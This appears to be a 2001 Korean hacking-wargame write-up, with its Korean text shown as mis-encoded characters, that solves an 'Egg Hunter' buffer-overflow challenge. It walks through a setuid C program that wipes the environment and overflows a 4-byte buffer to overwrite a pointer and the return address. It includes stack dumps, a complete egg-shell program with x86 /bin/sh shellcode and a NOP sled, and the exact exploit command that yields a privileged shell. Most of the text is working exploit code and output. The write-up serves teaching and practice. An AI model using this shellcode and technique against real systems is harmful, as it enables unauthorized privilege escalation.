======================================================== "Buffer OverFlow Bonus ¹®Á¦" 2001/ 07/ 31 NaNu9 , adeespee@hotmail.com ======================================================== 0. ±âº» °³³ä. Áö±Ý±îÁö Ç®¾î¿Â ¹®Á¦ÀÇ À¯ÇüÀ» º¸¸é ÀϹÝÀûÀ¸·Î Egg Shell Code¸¦ ¸¸µé¾î memcpy(egg,"EGG=",4); ÀÌ ¹®ÀåÀ» ÀÌ¿ëÇÏ¿© ȯ°æº¯¼öÀÇ À̸§À» ºÙÀ̰í putenv(egg); Put Environment¸¦ ÀÌ¿ëÇÏ¿© ȯ°æº¯¼ö·Î ¼³Á¤ÇÏ¿© STACK ¿µ¿ª¿¡ Egg Shell Code, Egg Shell Code Vector(Pointer)¸¦ º¸°üÇØ³õ°í RET ¹øÁö¸¦ À̰÷À¸·Î °¡µµ·Ï Á¶ÀÛ º¯°æÇÏ´Â ¹æ¹ýÀ» »ç¿ëÇß½À´Ï´Ù. ÇØÅ·±â¼úÀÌ ¹ßÀüÇÏ¸é º¸¾Èµµ ¹ßÀüÇϴ¹ý. ¹®Á¦¸¦ Ǫ´Â ¹æ¹ýÀÌ ¹ßÀüÇÏ¸é ¹®Á¦µµ ¹ßÀüÇϴ¹ý. ±×·±µ¥ ÀϹÝÀûÀÎ ÀÌ ¹æ¹ýÀ» ¿ÏÀüÈ÷ »Ñ½¤¹ö¸®´Â °­·ÂÇÑ ¹®Á¦°¡ ³ª¿ÔÀ¸´Ï ±×À̸§ "Egg Hunter" --> óÀ½ºÃÀ»¶§ Ȳ´çÇÔ!!! ÀÌ ÇÁ·Î±×·¥ÀÌ ½ÇÇàµÇ¸é °¨Ãç³õÀº Egg Shell Code, Egg Shell Code Vector, µîµî... ¸ðÁ¶¸® Áö¿ö¹ö¸®°í ÀÔ·ÂÀ» ¿ä±¸ÇÕ´Ï´Ù. ±×·¯¹Ç·Î Áö±Ý±îÁöÀÇ °ø°Ý¹æ¹ý¿¡¼­ ÇÑÂ÷¿ø ³ôÀº Áö½ÄÀ» ¿ä±¸ÇÏ´Â °ÍÀÔ´Ï´Ù. ¹æ¹ýÀÌ ¾øÀ»±î¿ä??? ÇØÅ·Àº ¿µ¿øÇÏ´Ù!!! Àú´Â ÀÌ·¸°Ô »ý°¢ÇÕ´Ï´Ù. ¿©·¯ºÐµéµµ Áö±Ý±îÁö ¿©·¯°¡ÁöÀÇ ¹®Á¦¸¦ Ç®¾î¿À¸é¼­ STACK ¿µ¿ªÀ» ¸¹ÀÌ Dump ÇØº» °æÇèÀÌ ÀÖÀ¸½Å ºÐµéÀº STACK ¿µ¿ªÀÇ ±¸Á¶¸¦ ¾î´ÀÁ¤µµ´Â ¾Æ½Ç°ÍÀ̶ó »ý°¢ÇÕ´Ï´Ù. Linux °³º° Processor´Â (IA32 Kernel 2.2.xx¿¡¼­´Â Processor´ç 4G Byte Ȱ´ç) »ç¿ëÀÚº°·Î Shell Program(/bin/sh : ÄÄÇ»ÅÍ¿Í »ç¿ëÀÚ InterFace)ÀÌ È°´çµÇ°í ±× Shell ÇÁ·Î±×·¥ÀÌ °ü¸®ÇÏ´Â »ç¿ëÀÚÀÇ ±âº»Á¤º¸°¡ STACK ¿µ¿ª Á¦ÀÏ µÞºÎºÐ¿¡ ȯ°æº¯¼ö·Î ÀÖ°í, ±× À§¿¡ »ç¿ëÀÚ ¸í·ÉÀ» ºÐ¼® ½ÇÇàÇÏ´Â ¿µ¿ªÀÌ ÀÖÀ¸¸ç ±× À§¿¡ ÀϹÝÀûÀ¸·Î ½ÇÇàµÈ ÇÁ·Î±×·¥À» ºÐ¼®Çغ¸´Â RET ¹øÁö°¡ ÀÖ½À´Ï´Ù. (¼¼ºÎÀûÀΰÍÀº Àúµµ Àß ¸ð¸¨´Ï´Ù.) ÀÌ ¹®Á¦¸¦ Ç®¾îº¸´Â ¹æ¹ýÀº Áö±Ý±îÁöÀÇ ÀϹÝÀûÀÎ ¹æ¹ý°ú ¸¶Âú°¡Áö·Î STACK ¿µ¿ªÀÇ °¡Àå µÞ ºÎºÐ¿¡ Àִ ȯ°æº¯¼ö ¿µ¿ª¿¡ Egg Shell Code¸¦ ¸¸µé¾î ³õ¾Ò´Ù°¡ ÀÌ ÇÁ·Î±×·¥À» ½ÇÇàÇÒ¶§ ÇÁ·Î±×·¥ÀÇ ½ÇÇຯ¼ö(Argument)·Î ¼³Á¤ÇØ ÁֹǷνá Shell(/bin/sh)·Î ÇÏ¿©±Ý Egg Shell Code¸¦ º¹»çÇÏ¿© ȯ°æº¯¼ö ¿µ¿ªº¸´Ù Á¶±Ý À§¿¡ Argument·Î Á¸ÀçÇϵµ·Ï ÇÏ¿© ÀÌ ÇÁ·Î±×·¥¿¡¼­ ȯ°æº¯¼ö¸¦ ¸ðµÎ Áö¿ö¹ö·Áµµ ´Ù¸¥°÷¿¡¼­ ¿©ÀüÈ÷ Á¸ÀçÇϰí ÀÖ´Â ¹æ¹ýÀÔ´Ï´Ù. ¶Ç ´Ù¸¥ ¹æ¹ýÀº hackerleon´ÔÀÌ ÈùÆ®¸¦ Áֽйæ¹ý(°¨»ç ÇÕ´Ï´Ù.)À¸·Î ÇÁ·Î±×·¥ÀÇ ½ÇÇà½Ã Argument·Î Á÷Á¢ Egg Shell Code¸¦ ³Ö¾îÁÖ´Â ¹æ¹ýÀÔ´Ï´Ù. ´Ù¸¥ ¹æ¹ýµµ ÀÖ°ÚÁö¸¸ ÀÌ 2 °¡Áö¸¦ ¿¹¸¦µé¾î ¼³¸íÀ» ÇϰڽÀ´Ï´Ù. ¼­·ÐÀÌ ³Ê¹« ±æÀº°Í °°½À´Ï´Ù. 1. ¹®Á¦ Ç®ÀÌ. °¡Àå Áß¿äÇѰÍÀº ¹®Á¦¸¦ È®½ÇÇÏ°Ô ÀÌÇØ¸¦ Çϰí ÇÁ·Î±×·¥ÀÇ µ¿ÀÛÀ» Á¤È®ÇÏ°Ô ÆÄ¾Ç ÇÏ´Â °ÍÀÔ´Ï´Ù. --> ¾Æ¹«¸® °­Á¶Çصµ... ±âº»ÀûÀÎ ¹®Á¦¿¡¼­ ÁÖ¼®À» ´Þ°í ºÐ¼®À» ÇØº¸°Ú½À´Ï´Ù. [null2root@Hacker NaNu9]$ vi bonus.c #include extern char **environ; // ȯ°æº¯¼ö¸¦ °¡¸£Å°´Â Æ÷ÀÎÆ® º¯¼ö main() { int egghunter; // ȯ°æº¯¼ö¸¦ Áö¿ì±â À§ÇÑ Ä«¿îÆ® char *jmp; // overÀÇ ³»¿ëÀ» ½á³ÖÀ» Æ÷ÀÎÆ® char over[4]; // ÀÔ·ÂÇÑ ³»¿ëÀÌ ÀúÀåµÇ´Â °÷ for(egghunter=0; environ[egghunter]; egghunter++) // ȯ°æº¯¼ö¸¦ Ä«¿îÆ® memset(environ[egghunter], 0, strlen(environ[egghunter])); // ȯ°æº¯¼ö¸¦ Áö¿ö¹ö¸² // ȯ°æº¯¼ö ¿µ¿ªÀÌ ±ú²ýÇÏ°Ô Áö¿öÁü. setuid(999,999); // ±ÇÇÑÀ» ºÎ¿©ÇÔ printf("Hi, input everything....but only 4bytes :\n"); // ÀÔ·ÂÇÏ´Â ³»¿ë¿¡ ´ëÇÏ¿© ¾Ë¸² printf("==> "); // ÀÔ·Â Prompt fgets(over, 9, stdin); // ÀÔ·ÂÇÑ ³»¿ëÀ» ¸Þ¸ð¸®·Î °¡Á®°¨. printf("\n"); // ÀÔ·ÂµÈ ³»¿ëÀ» Ç¥½ÃÇϱâ À§ÇÏ¿© ÁÙÀ» ¹Ù²Þ. printf("your input-value : %s\n", over); // ÀÔ·ÂµÈ ³»¿ëÀ» ¾Ë¸² strncpy(jmp, over, 4); // ÀÔ·ÂÇÑ ³»¿ëÀ» ó¸®ÇÔ } ÀÌ ÇÁ·Î±×·¥ÀÇ È帧À» Ç¥ÇöÇϸé ȯ°æº¯¼ö¸¦ ¸ðµÎ Áö¿ì°í ±ÇÇÑÀ» ºÎ¿©Çѵڿ¡ ÀÔ·ÂÀ» ¾Ë¸²´Ï´Ù. »ç¿ëÀÚ°¡ µ¥ÀÌÅ͸¦ ÀÔ·ÂÇϸé 9 Byte¸¦ ÀÔ·ÂÇÕ´Ï´Ù. ¿©±â¿¡¼­ over[4]°¡ OverFlow ÇÕ´Ï´Ù. ±×¸®°í ÀÔ·ÂµÈ µ¥ÀÌÅ͸¦ È®ÀΠǥ½ÃÇÕ´Ï´Ù. ±×¸®°í ÀÔ·ÂÇÑ µ¥ÀÌÅ͸¦ jmp°¡ °¡¸£Å°´Â °÷¿¡ ÀúÀåÇÕ´Ï´Ù. ¼³¸íÀº °£´ÜÇÑ°Í °°½À´Ï´Ù¸¸... ÀÌ ÇÁ·Î±×·¥Àº 3 °÷À» ÀÌÇØÇÏ¸é µÉ°Í °°½À´Ï´Ù. ù°´Â ȯ°æº¯¼ö¸¦ Áö¿ì´Â °Í ÀÔ´Ï´Ù. ¿ì¸®´Â Áö±Ý±îÁö ȯ°æº¯¼ö¸¦ ¼³Á¤ÇÏ´Â °Í¿¡ ´ëÇÏ¿© ÇÁ·Î±×·¥À» ÇØ¿Ô½À´Ï´Ù. ±×·±µ¥ ¿©±â¼­ ºÎÅÍ´Â ÀÌ »ý°¢À» ½Ï Áö¿ì´Â °Í ÀÔ´Ï´Ù. µû¶ó¼­ Áö±Ý ºÎÅÍ´Â ²À ȯ°æº¯¼ö ¼³Á¤¸¸ÀÌ ¹æ¹ýÀº ¾Æ´Ï´Ù. ¶ó´Â °³³äÀ¸·Î »ý°¢À» ¹Ù²Ù´Â °ÍÀÔ´Ï´Ù. µÑ°´Â "fgets(over, 9, stdin); // ÀÔ·ÂÇÑ ³»¿ëÀ» ¸Þ¸ð¸®·Î °¡Á®°¨" ÀÔ´Ï´Ù. ÀÚ¿¬½º·´°Ô ³»¿ëÀ» 9 Byte ¸¸ ÀÔ·ÂÇÏ´Â °ÍÀ¸·Î Ç¥ÇöµÇ¾î ÀÖÁö¸¸ »ç½ÇÀº over[]ÀÌ 4 Byte¸¸ Ȱ´çµÇ¾î ÀÖÀ¸¹Ç·Î ¿©±â¿¡¼­ Buffer OverFlow°¡ ¹ß»ýÇÏ¿© *jmpÀÇ Æ÷ÀÎÅ͸¦ ¼³Á¤ÇÏ´Â °ÍÀÔ´Ï´Ù. ¼Â°´Â "strncpy(jmp, over, 4); // ÀÔ·ÂÇÑ ³»¿ëÀ» ó¸®ÇÔ" ÀÔ´Ï´Ù. ¹«½ÉÈ÷ º¸¸é over[4]ÀÇ ³»¿ëÀ» ±×³É º¸°üÇÏ´Â°Í Ã³·³ º¸ÀÌÁö¸¸ *jmp°¡ °¡¸£Å°´Â °÷ÀÌ ÀÌ ÇÁ·Î±×·¥ÀÇ RET ¹øÁöÀ̸ç over[4]ÀÇ ³»¿ëÀÌ RET ¹øÁö¸¦ ¹Ù²Ü ³»¿ëÀ̶ó´Â °ÍÀÔ´Ï´Ù. ¾öû³­ ÇÁ·Î±×·¥ ¾Æ´Õ´Ï±î!!! Á¤¸»ÀÎÁö ´ÙÀ½Àº ÇÁ·Î±×·¥ÀÇ µ¿ÀÛÀ» È®ÀÎÇØ º¸°Ú½À´Ï´Ù. 2. ÇÁ·Î±×·¥ÀÇ µ¿Àۺм® ±âº»ÀûÀÎ ÇÁ·Î±×·¥¿¡¼­ µ¿ÀÛ³»¿ëÀ» ºÐ¼®Çϱâ À§ÇÑ ÇÁ·Î±×·¥À» ¸îÁÙ Ãß°¡Çؼ­ ÇÁ·Î±×·¥¿¡ ÁÖ¼®À» ´Þ¾Æ º¸°Ú½À´Ï´Ù. [null2root@Hacker NaNu9]$ vi bonus.c #include #include "dumpcode.h" // ³»¿ëÀ» º¸±âÀ§Çؼ­ ±âº»ÀûÀ¸·Î Ãß°¡ÇÔ. extern char **environ; // ȯ°æº¯¼ö¸¦ °¡¸£Å°´Â Æ÷ÀÎÆ® º¯¼ö unsigned long get_esp(void) // STACK ¿µ¿ªÀ» ÀüºÎ Dump ½Ã۱â À§ÇØ { __asm__("movl %esp,%eax"); // ÇöÀç Stack Pointer³»¿ë(esp)À» °¡Á®¿È } main() { int egghunter; // ȯ°æº¯¼ö¸¦ Áö¿ì±â À§ÇÑ Ä«¿îÆ® char *jmp; // overÀÇ ³»¿ëÀ» ½á³ÖÀ» Æ÷ÀÎÆ® char over[4]; // ÀÔ·ÂÇÑ ³»¿ëÀÌ ÀúÀåµÇ´Â °÷ printf("over:0x%08x, ebp:0x%08x, RET:0x%08x \n", // º¯¼öÀÇ ½ÇÁ¦ ¹øÁö È®Àοë &over, over+12, over+16); // GCCÀÇ Version¿¡ µû¶ó¼­ Â÷À̰¡ ³²´Ï´Ù. // dumpcode((char *)over-16, 128); // STACK ³»¿ëÀ» º¸°í ½ÍÀ»¶§ // dumpcode((char *)&**environ, 1024); // ȯ°æº¯¼öÀÇ ³»¿ëÀ» Áö¿ì±â Àü¿¡ º¸°íÀÚ ÇÒ°æ¿ì. for(egghunter=0; environ[egghunter]; egghunter++) // ȯ°æº¯¼ö¸¦ Ä«¿îÆ® memset(environ[egghunter], 0, strlen(environ[egghunter])); // ȯ°æº¯¼ö¸¦ Áö¿ö¹ö¸² // ȯ°æº¯¼ö ¿µ¿ªÀÌ ±ú²ýÇÏ°Ô Áö¿öÁü. // dumpcode((char *)&**environ,64); // Á¤¸»·Î Áö¿öÁ³´ÂÁö ±Ã±ÝÇϽøé... setuid(999,999); // ±ÇÇÑÀ» ºÎ¿©ÇÔ printf("Hi, input everything....but only 4bytes :\n"); // ÀÔ·ÂÇÏ´Â ³»¿ë¿¡ ´ëÇÏ¿© ¾Ë¸² printf("==> "); // ÀÔ·Â Prompt fgets(over, 9, stdin); // ÀÔ·ÂÇÑ ³»¿ëÀ» ¸Þ¸ð¸®·Î °¡Á®°¨. // egghunter = get_esp() & 0xfffffffc; // ÇöÀç Stack PointerÀÇ ³»¿ëÀ» °¡Á®¿È // dumpcode((char *)over-16, (egghunter|0xffff)-egghunter); // STACK ¿µ¿ªÀ» ¸ðµÎ Ç¥½Ã // ¿¹¸¦ µé¾î Stack Pointer°¡ 0xbfff1234Àϰæ¿ì // (0xbfff1234 | 0xffff) ¸¦ Çϴϱî 0xbfffffff ·Î StackÀÇ °¡Àå ³¡ºÎºÐÀ» °¡¸£Å´ // ÇöÀç »ç¿ëÁßÀÎ STACK ÀÇ Å©±â = 0xbfffffff - ÇöÀç Stack Pointer °ª // µû¶ó¼­ ÇöÀç »ç¿ëÁßÀÎ STACK ¿µ¿ªÀ» ¸ðµÎ Dump Ç¥½Ã ÇÑ´Ù. dumpcode((char *)over-16, 768); // ÀÌ ÇÁ·Î±×·¥¿¡¼­ »ç¿ëÁßÀÎ STACK°ú // ArgumentÀÇ ³»¿ëÀ» º¼¼ö ÀÖ´Ù. printf("\n"); // ÀÔ·ÂµÈ ³»¿ëÀ» Ç¥½ÃÇϱâ À§ÇÏ¿© ÁÙÀ» ¹Ù²Þ. printf("your input-value : %s\n", over); // ÀÔ·ÂµÈ ³»¿ëÀ» ¾Ë¸² strncpy(jmp, over, 4); // ÀÔ·ÂÇÑ ³»¿ëÀ» ó¸®ÇÔ dumpcode((char *)over-16, 128); // RET ¹øÁö°¡ Á¤¸»·Î ¹Ù²î¾ú³ª? } ÁÖ·Î ³»¿ëÀ» Ç¥½ÃÇϵµ·Ï ÇÁ·Î±×·¥À» Ãß°¡ Çß½À´Ï´Ù. 3. ¸Þ¸ð¸®ÀÇ ±¸Á¶ºÐ¼® ´ÙÀ½Àº µ¿À۽à ¸Þ¸ð¸®ÀÇ »óŸ¦ È®ÀÎÇØ º¸°Ú½À´Ï´Ù. ÇÁ·Î±×·¥ ÄÄÆÄÀÏ ÇÏ¿© ½ÇÇà File·Î ¸¸µé¾î º¸°Ú½À´Ï´Ù. [null2root@Hacker NaNu9]$ gcc bonus.c -o bc --> ÄÄÆÄÀÏ Error¾øÀÌ CompileÀÌ ¿Ï·áµÇ¾ú½À´Ï´Ù. ÇÁ·Î±×·¥À» ½ÇÇàÇϸ鼭 ÀÓÀÇÀÇ µ¥ÀÌÅ͸¦ ÀÔ·ÂÇÏ¿© µ¿ÀÛµÈ ¸Þ¸ð¸® ±¸Á¶¸¦ ºÐ¼®ÇØ º¸°Ú½À´Ï´Ù. [null2root@Hacker NaNu9]$ ./bc --> Bonus Complete over:0x7ffffb5c, ebp:0x7ffffb68, RET:0x7ffffb6c --> // º¯¼öÀÇ ½ÇÁ¦ ¹øÁö È®Àοë Hi, input everything....but only 4bytes : --> // ÀÔ·ÂÇÏ´Â ³»¿ë¿¡ ´ëÇÏ¿© ¾Ë¸² ==> 1234567890 --> µ¿ÀÛ»óŸ¦ ºÐ¼®Çϱâ À§ÇÏ¿© ÀÓÀÇ·Î ÀÔ·Â 0x7ffffb4c 68 fb ff 7f 88 88 04 08 4c fb ff 7f 00 03 00 00 h.......L....... 0x7ffffb5c 31 32 33 34 35 36 37 38 00 00 00 00 88 fb ff 7f 12345678........ 0x7ffffb6c 13 d2 ad 2a 01 00 00 00 b4 fb ff 7f bc fb ff 7f ...*............ 0x7ffffb7c 24 e9 ab 2a 01 00 00 00 20 85 04 08 00 00 00 00 $..*.... ....... 0x7ffffb8c 41 85 04 08 b4 87 04 08 01 00 00 00 b4 fb ff 7f A............... 0x7ffffb9c 38 84 04 08 0c 89 04 08 f0 5a ab 2a ac fb ff 7f 8........Z.*.... 0x7ffffbac 70 ef ab 2a 01 00 00 00 a7 fc ff 7f 00 00 00 00 p..*............ 0x7ffffbbc ac fc ff 7f c5 fc ff 7f d3 fc ff 7f e9 fc ff 7f ................ 0x7ffffbcc f7 fc ff 7f 09 fd ff 7f 20 fd ff 7f 3b fd ff 7f ........ ...;... 0x7ffffbdc 45 fd ff 7f 53 fd ff 7f 92 fd ff 7f a2 fd ff 7f E...S........... 0x7ffffbec b3 fd ff 7f c8 fd ff 7f d8 fd ff 7f ea fd ff 7f ................ 0x7ffffbfc f5 fd ff 7f fd fd ff 7f 0a fe ff 7f 12 fe ff 7f ................ 0x7ffffc0c f0 ff ff 7f 00 00 00 00 03 00 00 00 34 80 04 08 ............4... 0x7ffffc1c 04 00 00 00 20 00 00 00 05 00 00 00 06 00 00 00 .... ........... 0x7ffffc2c 06 00 00 00 00 10 00 00 07 00 00 00 00 b0 aa 2a ...............* 0x7ffffc3c 08 00 00 00 00 00 00 00 09 00 00 00 20 85 04 08 ............ ... 0x7ffffc4c 0b 00 00 00 1d 0c 00 00 0c 00 00 00 1d 0c 00 00 ................ 0x7ffffc5c 0d 00 00 00 1d 0c 00 00 0e 00 00 00 1d 0c 00 00 ................ 0x7ffffc6c 10 00 00 00 ff f9 c7 c1 0f 00 00 00 a2 fc ff 7f ................ 0x7ffffc7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x7ffffc8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x7ffffc9c 00 00 00 00 00 00 69 36 38 36 00 2e 2f 62 63 00 ......i686../bc. 0x7ffffcac 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ < Clear µÈ ³»¿ëÀ¸·Î »ý·«> 0x7ffffe2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x7ffffe3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ --> dumpcode((char *)over-16, 768); // ÀÌ ÇÁ·Î±×·¥¿¡¼­ Ãâ·Â your input-value : 12345678 --> // ÀÔ·ÂµÈ ³»¿ëÀ» ¾Ë¸² Segmentation fault [null2root@Hacker NaNu9]$ ÀÌ»óÀÌ ½ÇÁ¦ ÇÁ·Î±×·¥ÀÌ µ¿ÀÛÇϸ鼭 Ãâ·ÂÇÑ ³»¿ëÀÔ´Ï´Ù. À̰ÍÀ» ºÐ¼®Çغ¸°Ú½À´Ï´Ù. º¯¼ö¸í Å©±â Ȱ´çµÈ ÁÖ¼Ò µ¿À۽à ³»¿ë over 4 Byte 0x7ffffb5c Á÷Á¢ ÀÔ·ÂÇÑ µ¥ÀÌŸ(1234) *jmp 4 Byte 0x7ffffb60 Á÷Á¢ ÀÔ·ÂÇÑ µ¥ÀÌŸ(5678) egghunter 4 Byte 0x7ffffb64 00 00 00 00 ebp 4 Byte 0x7ffffb68 88 fb ff 7f RET 4 Byte 0x7ffffb6c 13 d2 ad 2a ÀÌÈÄÀÇ ³»¿ë¿¡ ´ëÇØ¼­´Â Àß ¸ð¸¨´Ï´Ù¸¸ ÀÌ ÇÁ·Î±×·¥¿¡¼­ ÇÊ¿äÇÑ ºÎºÐÀº str[4]¿Í *jmp º¯¼öÀÔ´Ï´Ù. ±×·¡¼­ ÀÌµé º¯¼ö¸¦ ±âÁØÀ¸·Î µ¥ÀÌÅͰ¡ ÀԷµǴ »óŸ¦ Ç¥½ÃÇϸé <³·Àº ¹øÁö> <³ôÀº ¹øÁö> over, *jmp egghunter ebp, RET [4 byte] [4 byte] [4 byte] [4 byte] [4 byte] [1234] [5678] [0x00000000] [0x7ffffb88] [0x2aadd213] ÀÌ·¸°Ô ÀԷµ˴ϴÙ. ±×·¯¹Ç·Î over[4]¿¡ Egg ShellÀÌ ÀÖ´Â ¹øÁö¸¦ ÀÔ·ÂÇϰí *jmp¿¡ RET ¹øÁö¸¦ ÀÔ·ÂÇϸé strncpy(jmp, over, 4); // jmp°¡ ÁöÁ¤ÇÑ ¹øÁö¿¡ over[4]ÀÇ ³»¿ëÀ» º¹»çÇÔ ¿¡¼­ ÇÁ·Î±×·¥À» ³¡³»°í µ¹¾Æ°¥ RET ¹øÁö¸¦ º¯°æÇÏ°Ô µË´Ï´Ù. ´ÙÀ½Àº ½ÇÁ¦ ÇÁ·Î±×·¥À¸·Î µ¿À۵Ǵ »óŸ¦ ºÐ¼®ÇØ º¸°Ú½À´Ï´Ù. 4. Egg ShellÀ» ÀÌ¿ëÇÑ ¹æ¹ý. ¸ÕÀú ÀϹÝÀûÀ¸·Î »ç¿ëÇØ¿Ô´ø Egg ShellÀ» ÀÌ¿ëÇÑ ¹æ¹ýÀÔ´Ï´Ù. ÈçÈ÷ º¼¼öÀÖ´Â Egg Shell Program¿¡¼­ Offset ¹øÁö °è»êÇÒ Çʿ䵵 ¾ø°í ¶Ç RET ȯ°æº¯¼ö ºÎºÐµµ Á¦°ÅÇÑ »óŶó°í »ý°¢ÇÏ¸é µÉ°Í °°½À´Ï´Ù. [null2root@Hacker NaNu9]$ cat > egg.c #include #include #include #include #define DEFAULT_EGG_SIZE 256 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { char *buff, *ptr, *egg; int *aptr, addr, i; int esize=DEFAULT_EGG_SIZE; if (!(egg = malloc(esize))) { // Egg Shell¿ë Buffer printf("Can't allocate memory.\n"); exit(0); } ptr = egg; // Egg ShellÀ» ¸¸µë for (i = 0; i < esize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; egg[esize - 1] = '\0'; memcpy(egg,"EGG=",4); // EGG¶ó´Â ȯ°æº¯¼ö ¼³Á¤ putenv(egg); system("/bin/bash"); // Shell ½ÇÇà } Egg Shell Programµµ ºñ±³Àû °£´ÜÇÕ´Ï´Ù. ÇÁ·Î±×·¥ ÄÄÆÄÀÏ ÇÏ¿© ½ÇÇà File·Î ¸¸µé¾î º¸°Ú½À´Ï´Ù. [null2root@Hacker NaNu9]$ gcc egg.c -o egg --> ÄÄÆÄÀÏ Error¾øÀÌ CompileÀÌ ¿Ï·áµÇ¾ú½À´Ï´Ù. ÇÁ·Î±×·¥À» ½ÇÇàÇÏ¿© Egg ShellÀ» ȯ°æº¯¼ö·Î ¸¸µé¾î ³õ½À´Ï´Ù. [null2root@Hacker NaNu9]$ ./egg --> ¾Æ¹«·± Á¶°Ç ¾øÀÌ ½ÇÇà ´ÙÀ½Àº Egg Hunter ProgramÀ» ´ÙÀ½°ú °°ÀÌ ½ÇÇà ÇÕ´Ï´Ù. [null2root@Hacker NaNu9]$ (printf "\x1c\xfb\xff\x7f\x7c\xf9\xff\x7f";cat)|./bc $EGG ½ÇÇàÇÑ °á°ú ÀÔ´Ï´Ù. over:0x7ffff96c, ebp:0x7ffff978, RET:0x7ffff97c --> RET ¹øÁö Âü°í Hi, input everything....but only 4bytes : ==> RET ¹øÁö°¡ ¹Ù²î±â ÀüÀÇ ¸Þ¸ð¸® »óÅ ÀÔ´Ï´Ù. 0x7ffff95c 78 f9 ff 7f 91 88 04 08 5c f9 ff 7f 00 03 00 00 x.......\....... 0x7ffff96c 1c fb ff 7f 7c f9 ff 7f 00 00 00 00 98 f9 ff 7f ....|........... 0x7ffff97c 13 d2 ad 2a 02 00 00 00 c4 f9 ff 7f d0 f9 ff 7f ...*............ 0x7ffff98c 24 e9 ab 2a 02 00 00 00 20 85 04 08 00 00 00 00 $..*.... ....... 0x7ffff99c 41 85 04 08 bc 87 04 08 02 00 00 00 c4 f9 ff 7f A............... 0x7ffff9ac 38 84 04 08 0c 89 04 08 f0 5a ab 2a bc f9 ff 7f 8........Z.*.... 0x7ffff9bc 70 ef ab 2a 02 00 00 00 bd fa ff 7f c2 fa ff 7f p..*............ 0x7ffff9cc 00 00 00 00 be fb ff 7f d7 fb ff 7f e5 fb ff 7f ................ 0x7ffff9dc fb fb ff 7f 09 fc ff 7f 1b fc ff 7f 32 fc ff 7f ............2... 0x7ffff9ec 4d fc ff 7f 57 fc ff 7f 65 fc ff 7f a4 fc ff 7f M...W...e....... 0x7ffff9fc b4 fc ff 7f c5 fc ff 7f da fc ff 7f ea fc ff 7f ................ 0x7ffffa0c f5 fc ff 7f f5 fd ff 7f fd fd ff 7f 0a fe ff 7f ................ 0x7ffffa1c 12 fe ff 7f f0 ff ff 7f 00 00 00 00 03 00 00 00 ................ 0x7ffffa2c 34 80 04 08 04 00 00 00 20 00 00 00 05 00 00 00 4....... ....... 0x7ffffa3c 06 00 00 00 06 00 00 00 00 10 00 00 07 00 00 00 ................ 0x7ffffa4c 00 b0 aa 2a 08 00 00 00 00 00 00 00 09 00 00 00 ...*............ 0x7ffffa5c 20 85 04 08 0b 00 00 00 1d 0c 00 00 0c 00 00 00 ............... 0x7ffffa6c 1d 0c 00 00 0d 00 00 00 1d 0c 00 00 0e 00 00 00 ................ 0x7ffffa7c 1d 0c 00 00 10 00 00 00 ff f9 c7 c1 0f 00 00 00 ................ 0x7ffffa8c b8 fa ff 7f 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x7ffffa9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x7ffffaac 00 00 00 00 00 00 00 00 00 00 00 00 69 36 38 36 ............i686 0x7ffffabc 00 2e 2f 62 63 00 90 90 90 90 90 90 90 90 90 90 ../bc........... 0x7ffffacc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffadc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffaec 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffafc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffb0c 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffb1c 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffb2c 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffb3c 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffb4c 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffb5c 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffb6c 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffb7c 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffb8c 90 90 90 90 eb 1f 5e 89 76 08 31 c0 88 46 07 89 ......^.v.1..F.. 0x7ffffb9c 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 31 db F......N..V...1. 0x7ffffbac 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 ..@......./bin/s 0x7ffffbbc 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 h............... < 0x00À¸·Î »èÁ¦Çß½À´Ï´Ù.> your input-value : ?|? --> ÀÔ·Â È®Àοë Ç¥½Ã RET ¹øÁö°¡ ¹Ù²ï»óÅÂÀÇ ¸Þ¸ð¸® ³»¿ë ÀÔ´Ï´Ù. 0x7ffff95c 78 f9 ff 7f d5 88 04 08 5c f9 ff 7f 80 00 00 00 x.......\....... 0x7ffff96c 1c fb ff 7f 7c f9 ff 7f 00 00 00 00 98 f9 ff 7f ....|........... 0x7ffff97c 1c fb ff 7f 02 00 00 00 c4 f9 ff 7f d0 f9 ff 7f ................ 0x7ffff98c 24 e9 ab 2a 02 00 00 00 20 85 04 08 00 00 00 00 $..*.... ....... 0x7ffff99c 41 85 04 08 bc 87 04 08 02 00 00 00 c4 f9 ff 7f A............... 0x7ffff9ac 38 84 04 08 0c 89 04 08 f0 5a ab 2a bc f9 ff 7f 8........Z.*.... 0x7ffff9bc 70 ef ab 2a 02 00 00 00 bd fa ff 7f c2 fa ff 7f p..*............ 0x7ffff9cc 00 00 00 00 be fb ff 7f d7 fb ff 7f e5 fb ff 